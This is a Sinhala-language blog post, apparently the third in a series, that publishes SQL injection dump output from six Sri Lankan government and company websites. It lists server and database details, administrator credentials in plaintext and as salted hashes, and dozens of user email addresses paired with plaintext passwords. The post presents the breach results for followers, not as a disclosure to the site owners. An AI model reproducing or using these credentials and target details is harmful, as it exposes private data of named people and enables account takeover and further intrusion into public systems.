ශ්‍රි ලංකා රජයෙ දත්ත ගබඩාවන් 6 කට තවත් සයිබර් ප්‍රහාර-3

 

මිට පෙර සදහන් කල ලිපියෙහි ඉතිරි කොටස මෙහි Registration of Persons Dept, Registrar General's Dept,  Public Trustee Dept, Official Language Commission, Ministry of Science and Technology, Digital Group of Companies of Sri_lanka.හි දත්තයන් ඇතුලත් වෙ.

• REGISTRAR GENERAL's DEPARTMENT  (GOVT OF SRI LANKA)

WEBSITE :-  http://www.rgd.gov.lk

Vulnerabile to SQLi

1. 
   #####################################SERVER DETAILS########################################
4. Target:                 http://www.rgd.gov.lk/
5. Host IP:                220.247.225.200
6. Web Server:             Apache/2.2.3 (Red Hat)
7. Powered-by:             PHP/5.2.10
8. DB Server:              MySQL >=5
9. Resp. Time(avg):        1324 ms
10. Current User:           rgd_dbuser@localhost
11. Sql Version:            5.0.77
12. Current DB:             rgdgov_rgdcms
13. System User:            rgd_dbuser@localhost
14. Host Name:              singhaya2.lk
15. Installation dir:       /usr/
16. DB User:                'rgd_dbuser'@'localhost'
18. ################################## DATABASE NAMES ########################################
20. Data Bases:     information_schema
21.                 rgdgov_rgdcms
22.                 rgdgov_search
23.                 test
24.                 test_db
26. ############################ TABLES NAMES OF DB rgdgov_rgdcms ###########################
29. snippet_sin    
30. snippet_eng    
31. sinnews
32. projects_history_sin   
33. projects_history       
34. newssin
35. news   
36. lastupdate     
37. faqquestionssin
38. faqquestions   
39. faqanswersin   
40. faqanswer      
41. engnews
42. editdatasin    
43. editdataeng    
44. downloadsin    
45. download       
46. currentprojectssin     
47. currentprojects
48. authteam       
50. ############################# USER DETAILS OF DB rgdgov_rgdcms ###########################
53. Data Found: id=1
54. Data Found: uName=admin
55. Data Found: pWord=admin123
56. Data Found: uLevel=1
57. Data Found: name=Main Administrator
59. Data Found: id=2
60. Data Found: uName=englishadmin
61. Data Found: pWord=admin123
62. Data Found: uLevel=2
63. Data Found: name=English Administrator
65. Data Found: id=3
66. Data Found: uName=sinhalaadmin
67. Data Found: pWord=admin123
68. Data Found: uLevel=3
69. Data Found: name=Sinhala Administrator
71. Data Found: id=4
72. Data Found: uName=superadmin
73. Data Found: pWord=rgadminsup
74. Data Found: uLevel=1
75. Data Found: name=Super Administrator
77. ################################# TABLES OF DB rgdgov_search #############################
79. temp   
80. sites  
81. site_category  
82. query_log      
83. pending
84. links  
85. link_keyword   
86. keywords       
87. categories
88.  REGISTRATION OF PERSONS DEPARTMENT (GOVT OF SRILANKA)

WEBSITE :-  http://www.rpd.gov.lk

Vulnerabile to SQLi

 

1. ################################## SERVER DETAILS ##########################################
4. Target:                 http://www.rpd.gov.lk/
5. Host IP:                220.247.225.200
6. Web Server:             Apache/2.2.3 (Red Hat)
7. Powered-by:             PHP/5.2.10
8. DB Server:              MySQL >=5
9. Resp. Time(avg):        24230 ms
10. Current User:           rpdgov_dbuser@localhost
11. Sql Version:            5.0.77
12. Current DB:             rpdgov_rpdeng
13. System User:            rpdgov_dbuser@localhost
14. Host Name:              singhaya2.lk
15. Installation dir:       /usr/
16. DB User:                'rpdgov_dbuser'@'localhost'
18. ################################## DATABASE NAMES #######################################
20. Data Bases:     information_schema
21.                 rpdgov_ccdcms
22.                 rpdgov_newweb
23.                 rpdgov_rpdcms
24.                 rpdgov_rpdeng
25.                 rpdgov_rpdsin
26.                 rpdgov_search
27.                 test
28.                 test_db
29. ########################### USER DETAILS OF DB rpdgov_rpdeng#############################
31. Data Found: uname=admin
32. Data Found: pwd=rpd_eng
33. Data Found: utype=Administrator
35. Data Found: uname=pooranee
36. Data Found: pwd=mahinda
37. Data Found: utype=Administrator
39. ################################# TABLES OF DB rpdgov_rpdeng #############################
41. user   
42. sub_project    
43. news   
44. main_project   
45. lastupdate     
46. faq    
47. download       
49. ############################### TABLES OF DB rpdgov_newweb ################################
52. jos_xmap_sitemap       
53. jos_xmap_items 
54. jos_xmap_ext   
55. jos_xmap       
56. jos_weblinks   
57. jos_users      
58. jos_templates_menu     
59. jos_stats_agents       
60. jos_session    
61. jos_sections   
62. jos_polls      
63. jos_poll_menu  
64. jos_poll_date  
65. jos_poll_data  
66. jos_plugins    
67. jos_newsfeeds  
68. jos_modules_menu       
69. jos_modules    
70. jos_migration_backlinks
71. jos_messages_cfg       
72. jos_messages   
73. jos_menu_types 
74. jos_menu       
75. jos_languages  
76. jos_jf_tableinfo       
77. jos_jf_content 
78. jos_groups     
79. jos_dbcache    
80. jos_core_log_searches  
81. jos_core_log_items     
82. jos_core_acl_groups_aro_map    
83. jos_core_acl_aro_sections      
84. jos_core_acl_aro_map   
85. jos_core_acl_aro_groups
86. jos_core_acl_aro       
87. jos_content_rating     
88. jos_content_frontpage  
89. jos_content    
90. jos_contactmap_marqueurs       
91. jos_contact_details    
92. jos_components 
93. jos_categories 
94. jos_bannertrack
95. jos_bannerclient       
96. jos_banner     
97. jos_attachments
99. ################################USER DETAILS OF DB rpdgov_newweb###########################
101. Data Found: id=1
102. Data Found: name=Administrator
103. Data Found: username=admin
104. Data Found: email=lankacom@lankacom.net
105. Data Found: password=81820cedc625e2d8d49ca87f7fc2bf9b:RQCV2zaF4V9FkPWyGYTl48kjFRTitVA7
106. Data Found: usertype=Super Administrator
107. PUBLIC TRUSTEE DEPARTMENT (GOVT OF SRILANKA)

WEBSITE :-  http://www.publictrustee.gov.lk

Vulnerabile to SQLi

 

1. ################################### SERVER DETAILS ########################################
3. Target:                 http://www.publictrustee.gov.lk/news.php?id=18
4. Host IP:                220.247.225.200
5. Web Server:             Apache/2.2.3 (Red Hat)
6. Powered-by:             PHP/5.2.10
7. DB Server:              MySQL >=5
8. Resp. Time(avg):        5514 ms
9. Current User:           publictru_dbuser@localhost
10. Sql Version:            5.0.77
11. Current DB:             publictrusteegov_publictrusteeDB
12. System User:            publictru_dbuser@localhost
13. Host Name:              singhaya2.lk
14. Installation dir:       /usr/
15. DB User:                'publictru_dbuser'@'localhost'
17. ########################### DATABASE DETAILS ############################################
19. Data Bases:     information_schema
20.                 publictrusteegov_dbsinhala
21.                 publictrusteegov_dbtamil
22.                 publictrusteegov_publictrusteeDB
23.                 publictrusteegov_search
24.                 test
25.                 test_db
29. #############################TABLES OF DB publictrusteegov_dbsinhala#######################
31. user   
32. tbltrust       
33. tblsnippet     
34. tblimg 
35. tblfaq 
36. news   
37. lastupdate     
39. #######################USER DETAILS OF DB publictrusteegov_dbsinhala#######################
41. Data Found: uname=indika
42. Data Found: utype=Administrator
43. Data Found: pwd=indika
44. Data Found: uname=publictrustee
45. Data Found: utype=administrator
46. Data Found: pwd=DIM
    
    

    • OFFICIAL LANGUAGES COMMISSION (GOVT OF SRILANKA)

    
    

    
    

    WEBSITE :- http://www.languagescom.gov.lk

    Vulnerabile to SQLi

     

    

    
    
    1. ################################# SERVER DETAILS ###########################################
    4. Target:                 http://www.languagescom.gov.lk
    5. Host IP:                220.247.225.200
    6. Web Server:             Apache/2.2.3 (Red Hat)
    7. Powered-by:             PHP/5.2.10
    8. DB Server:              MySQL >=5
    9. Resp. Time(avg):        3905 ms
    10. Current User:           languages_dbuser@localhost
    11. Sql Version:            5.0.77
    12. Current DB:             languagescomgov_languages
    13. System User:            languages_dbuser@localhost
    14. Host Name:              singhaya2.lk
    15. Installation dir:       /usr/
    16. DB User:                'languages_dbuser'@'localhost'
    19. ############################# DATABASE NAMES ###########################################
    21. Data Bases:             information_schema
    22.                         languagescomgov_languages
    23.                         test
    24.                         test_db
    26. ########################### TABLES OF DB languagescomgov_languages #######################
    28. user   
    29. tblrolling_sinhala     
    30. tblrolling     
    31. tblnews_sinhala
    32. tblimg 
    33. tblfaq_sinhala 
    34. tblfaq 
    35. news   
    36. lastupdate     
    38. ######################### USERS DETAILS OF DB languagescomgov_languages ###################
    41. Data Found: utype=Administrator
    42. Data Found: uname=admin
    43. Data Found: pwd=lg@com
        • MINISTRY OF SCIENCE AND TECHNOLOGY (GOVT OF SRILANKA)

        
        

        
        

        WEBSITE :-  http://www.most.gov.lk

        Vulnerabile to SQLi

        

    
    

    

     
47. ################################# SERVER DETAILS #########################################
50. Target:                 http://www.most.gov.lk/programmes1.php?id=3
51. Host IP:                220.247.225.200
52. Web Server:             Apache/2.2.3 (Red Hat)
53. Powered-by:             PHP/5.2.10
54. DB Server:              MySQL >=5
55. Resp. Time(avg):        2522 ms
56. Current User:           mostgov_dbuser@localhost
57. Sql Version:            5.0.77
58. Current DB:             mostgov_english
59. System User:            mostgov_dbuser@localhost
60. Host Name:              singhaya2.lk
61. Installation dir:       /usr/
62. DB User:                'mostgov_dbuser'@'localhost'
64. ################################ DATABASE NAMES #########################################
66. Data Bases:     information_schema
67.                 mostgov_english
68.                 mostgov_newweb
69.                 mostgov_sinhala
70.                 test
71.                 test_db
73. ############################### TABLES OF DB mostgov_english #############################
75. visits 
76. vidatha1       
77. vidatha
78. vacancy
79. two    
80. three  
81. submenu1       
82. submenu
83. statistics     
84. search 
85. question       
86. publication    
87. public_detalis 
88. pub_leaflet    
89. propdf 
90. proinfo
91. programme      
92. photo_gallery  
93. parlimentbills 
94. overall
95. orgdiagram1    
96. orgchart       
97. org    
98. one    
99. newsevents     
100. mainmenu       
101. loguser
102. homeminphoto   
103. home   
104. hitcounter     
105. division       
106. dept_contact   
107. contact
108. circular       
109. addvidathaproposed     
110. addvidathaimage
111. addvidathaestablished2 
112. addvidathaestablished1 
113. addvidathaestablished  
115. ############################# USER DETAILS OF DB mostgov_english #########################
118. Data Found: id=0
119. Data Found: uname=Science
120. Data Found: password=admin
122. ########################## TABLES OF DB mostgov_newweb ##################################
124. jos_vid
125. jos_vidatha    
126. jos_users      
127. jos_templates_menu     
128. jos_stats_agents       
129. jos_session    
130. jos_sections   
131. jos_province   
132. jos_polls      
133. jos_poll_menu  
134. jos_poll_date  
135. jos_poll_data  
136. jos_plugins    
137. jos_newsfeeds  
138. jos_modules_menu       
139. jos_modules    
140. jos_migration_configuration    
141. jos_migration_backlinks
142. jos_messages_cfg       
143. jos_messages   
144. jos_menu_types 
145. jos_menu       
146. jos_languages  
147. jos_jf_tableinfo       
148. jos_jf_content 
149. jos_groups     
150. jos_googlemap  
151. jos_events     
152. jos_district   
153. jos_dbcache    
154. jos_core_log_searches  
155. jos_core_log_items     
156. jos_core_acl_groups_aro_map    
157. jos_core_acl_aro_sections      
158. jos_core_acl_aro_map   
159. jos_core_acl_aro_groups
160. jos_core_acl_aro       
161. jos_content_rating     
162. jos_content_frontpage  
163. jos_content    
164. jos_contactmap_marqueurs       
165. jos_contact_details    
166. jos_components 
167. jos_categories 
168. jos_bloggies_themes    
169. jos_bloggies_tags      
170. jos_bloggies_settings  
171. jos_bloggies_reports   
172. jos_bloggies_relations 
173. jos_bloggies_plugins   
174. jos_bloggies_groups    
175. jos_bloggies_entries   
176. jos_bloggies_comments  
177. jos_bloggies_categories
178. jos_bloggies_bookmarks 
179. jos_bloggies_authors   
180. jos_bannertrack
181. jos_bannerclient       
182. jos_banner     
183. jos_attachments
185. ########################### USER DETAILS OF DB mostgov_newweb #############################
187. Data Found: id=62
188. Data Found: username=admin
189. Data Found: password=78653161e5ed7b1e2681c938d9e7ef87:Tw6CEsVh0QoF3V1bjGAGnqgZTLOqVNs8
190. Data Found: usertype=Super Administrator
191. Data Found: name=Administrator
192. Data Found: email=roobanv@lankacom.net
193. Data Found: id=63
194. Data Found: username=Ruchi
195. Data Found: password=2b8b1f2cf776661dd30e2c07c1b5a7ea:lg7ZCDjgkXBPXq5zbM0pPV5K0mjBEPDy
196. Data Found: usertype=Registered
197. Data Found: name=Ruchira
198. Data Found: email=ruchirap@lankacom.net
199. Data Found: id=64
200. Data Found: username=rana
201. Data Found: password=ac0c545d4b2847857c6317e58c74f641:cbpfkhY2qDuwdiml46SFL2TCS6lqa28h
202. Data Found: usertype=Registered
203. Data Found: name=Rana
204. Data Found: email=ruchiaz@gmail.com
205. Data Found: id=65
206. Data Found: username=randi
207. Data Found: password=4aa14ae7116f934b5c324e842b9c807c:aPmqsPZ8bWNgGyCeP3mvJA2iQLNoP3ZV
208. Data Found: usertype=Registered
209. Data Found: name=randi
210. Data Found: email=randi@gmail.com
     • DIGITAL GROUP OF COMPANIES

     
     

     
     

     WEBSITE :-  http://www.digitalhouse.gov.lk

     Vulnerabile to SQLi

     

     1. 
        #################################### SERVER DETAILS ######################################
     4. Target:                 http://www.digitalhouse.lk/
     5. Host IP:                184.172.164.252
     6. Web Server:             Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5
     7.                         mod_bwlimited/1.4
     8. Powered-by:             PHP/5.2.17
     9. DB Server:              MySQL >=5
     10. Resp. Time(avg):        4951 ms
     11. Current User:           digitalh_admin@localhost
     12. Sql Version:            5.1.56
     13. Current DB:             digitalh_db
     14. System User:            digitalh_admin@localhost
     15. Host Name:              ashley.noc29.com
     16. Installation dir:       /
     17. DB User:                'digitalh_admin'@'localhost'
     19. ############################### DATABASE NAMES #########################################
     21. Data Bases:             information_schema
     22.                         digitalh_db
     24. ############################### TABLES OF DB digitalh_db ###############################
     26. user   
     27. titleimage     
     28. prouuct
     29. promotion      
     30. products       
     31. news   
     32. main_category  
     33. login  
     34. hits   
     35. h_images       
     36. events 
     37. email  
     38. dealer 
     39. categories     
     40. careers
     42. ######################### USER DETAILS OF DB digitalh_db #################################
     44. Data Found: id=3
     45. Data Found: username=developer
     46. Data Found: password=eceylinco
     47. Data Found: id=5
     48. Data Found: username=manoj
     49. Data Found: password=digital
     50. Data Found: id=6
     51. Data Found: username=roshan
     52. Data Found: password=roshan82630
     54. Data Found: userid=abdulla21@gmail.com
     55. Data Found: password=pass@urass
     56. Data Found: title=Mr.
     57. Data Found: fname=Abdulla
     58. Data Found: userid=amal1982_4@hotmail.com
     59. Data Found: password=spider
     60. Data Found: title=Mr.
     61. Data Found: fname=Amal
     62. Data Found: userid=amila
     63. Data Found: password=ana471326
     64. Data Found: title=Mr.
     65. Data Found: fname=amila
     66. Data Found: userid=amilalaw@gemail.com
     67. Data Found: password=ana
     68. Data Found: title=Mr.
     69. Data Found: fname=amila
     70. Data Found: userid=f@f.com
     71. Data Found: password=f
     72. Data Found: title=Mr.
     73. Data Found: fname=f
     74. Data Found: userid=Faumy
     75. Data Found: password=rifaza
     76. Data Found: title=Mr.
     77. Data Found: fname=Mansoor
     78. Data Found: userid=g@g.com
     79. Data Found: password=g
     80. Data Found: title=Mr.
     81. Data Found: fname=g
     82. Data Found: userid=gayannmj
     83. Data Found: password=weligama
     84. Data Found: title=Miss.
     85. Data Found: fname=gayani
     86. Data Found: userid=H@H.COM
     87. Data Found: password=h
     88. Data Found: title=Mr.
     89. Data Found: fname=h
     90. Data Found: userid=horizontechnology@hotmail.com
     91. Data Found: password=725184
     92. Data Found: title=Mr.
     93. Data Found: fname=naleem
     94. Data Found: userid=info@electrobase.net
     95. Data Found: password=h__a__e__r
     96. Data Found: title=Mr.
     97. Data Found: fname=Eranga
     98. Data Found: userid=info@sistec-computers.com
     99. Data Found: password=bandula
     100. Data Found: title=Mr.
     101. Data Found: fname=aabp
     102. Data Found: userid=k@kk.com
     103. Data Found: password=kk
     104. Data Found: title=Mr.
     105. Data Found: fname=k
     106. Data Found: userid=Kanchana
     107. Data Found: password=royal123
     108. Data Found: title=Mr.
     109. Data Found: fname=Kanchana
     110. Data Found: userid=kt_epitiya@sltet.lk
     111. Data Found: password=suranga
     112. Data Found: title=Mr.
     113. Data Found: fname=suranga
     114. Data Found: userid=kvidanagama@gmail.com
     115. Data Found: password=royal123
     116. Data Found: title=Mr.
     117. Data Found: fname=Kanchana
     118. Data Found: userid=lasanthasuraweera@yahoo.com
     119. Data Found: password=pabasara
     120. Data Found: title=Mr.
     121. Data Found: fname=Lasantha
     122. Data Found: userid=mmedirisingha@yahoo.com
     123. Data Found: password=mama
     124. Data Found: title=Mr.
     125. Data Found: fname=madawa
     126. Data Found: userid=naleef
     127. Data Found: password=19760825
     128. Data Found: title=Mr.
     129. Data Found: fname=Mohamed
     130. Data Found: userid=naw@asia.com
     131. Data Found: password=tdhur
     132. Data Found: title=Mr.
     133. Data Found: fname=Anuradha
     134. Data Found: userid=nimesha@slts.lk
     135. Data Found: password=muthu20013
     136. Data Found: title=Mr.
     137. Data Found: fname=Nimesha
     138. Data Found: userid=nissanthan@gmail.com
     139. Data Found: password=syncmaster
     140. Data Found: title=Mr.
     141. Data Found: fname=Nissanthan
     142. Data Found: userid=pbskumara2003@yahoo.com
     143. Data Found: password=tharuki1
     144. Data Found: title=Mr.
     145. Data Found: fname=saman
     146. Data Found: userid=Rahu
     147. Data Found: password=RAHU
     148. Data Found: title=Mr.
     149. Data Found: fname=B
     150. Data Found: userid=ruchika
     151. Data Found: password=chathura
     152. Data Found: title=Mr.
     153. Data Found: fname=Ruchika
     154. Data Found: userid=ruchika_edu@yahoo.com
     155. Data Found: password=chathura
     156. Data Found: title=Mr.
     157. Data Found: fname=Ruchika
     158. Data Found: userid=sagaraya100@yahoo.com
     159. Data Found: password=jayanthi
     160. Data Found: title=Mr.
     161. Data Found: fname=prasad
     162. Data Found: userid=saman
     163. Data Found: password=tharuki
     164. Data Found: title=Mr.
     165. Data Found: fname=saman
     166. Data Found: userid=samee_kumara@yahoo.com
     167. Data Found: password=samanu
     168. Data Found: title=Mr.
     169. Data Found: fname=sameera
     170. Data Found: userid=shashika
     171. Data Found: password=123456
     172. Data Found: title=Mr.
     173. Data Found: fname=shashika
     174. Data Found: userid=SUNIL
     175. Data Found: password=20061114
     176. Data Found: title=Mr.
     177. Data Found: fname=SUNIL
     178. Data Found: userid=suranga201@yahoo.com
     179. Data Found: password=0714373797
     180. Data Found: title=Mr.
     181. Data Found: fname=suranga
     182. Data Found: userid=systemtechs@yahoo.com
     183. Data Found: password=wasb197251
     184. Data Found: title=Mr.
     185. Data Found: fname=Ashen
     186. Data Found: userid=technomarke@digitaldynamicslk.com
     187. Data Found: password=melani
     188. Data Found: title=Mr.
     189. Data Found: fname=Digital
     190. Data Found: userid=test
     191. Data Found: password=test
     192. Data Found: title=Mr.
     193. Data Found: fname=Upul
     194. Data Found: userid=test@t.com
     195. Data Found: password=test
     196. Data Found: title=Mr.
     197. Data Found: fname=udaya
     198. Data Found: userid=test@w.com
     199. Data Found: password=test
     200. Data Found: title=Mr.
     201. Data Found: fname=d
     202. Data Found: userid=tshpathirana@gmail.com
     203. Data Found: password=tharindu
     204. Data Found: title=Mr.
     205. Data Found: fname=Tharindu Shashi
     206. Data Found: userid=udaya@u.co
     207. Data Found: password=udaya
     208. Data Found: title=Mr.
     209. Data Found: fname=udaya
     210. Data Found: userid=uk@uk.com
     211. Data Found: password=uk
     212. Data Found: title=Mr.
     213. Data Found: fname=ukUK
     214. Data Found: userid=uniapex@yahoo.com
     215. Data Found: password=apexdara
     216. Data Found: title=Mr.
     217. Data Found: fname=Darshana
     218. Data Found: userid=uu@uu.com
     219. Data Found: password=uu
     220. Data Found: title=Mr.
     221. Data Found: fname=uu
     222. Data Found: userid=v@v.com
     223. Data Found: password=v
     224. Data Found: title=Mr.
     225. Data Found: fname=v
     226. Data Found: userid=ww@ww.com
     227. Data Found: password=ww
     228. Data Found: title=Mr.
     229. Data Found: fname=ww
     230. Data Found: userid=www.jigsaw@home.com
     231. Data Found: password=4511
     232. Data Found: title=Mr.
     233. Data Found: fname=gihan

 මේක ඔයාලට වැදගත් උනානම් Follow කරගෙනම යන්න. ප්‍රශ්ණ, නැත්නම් ඔයාට හිතෙන දේ කමෙන්ට් කරලා යන්න.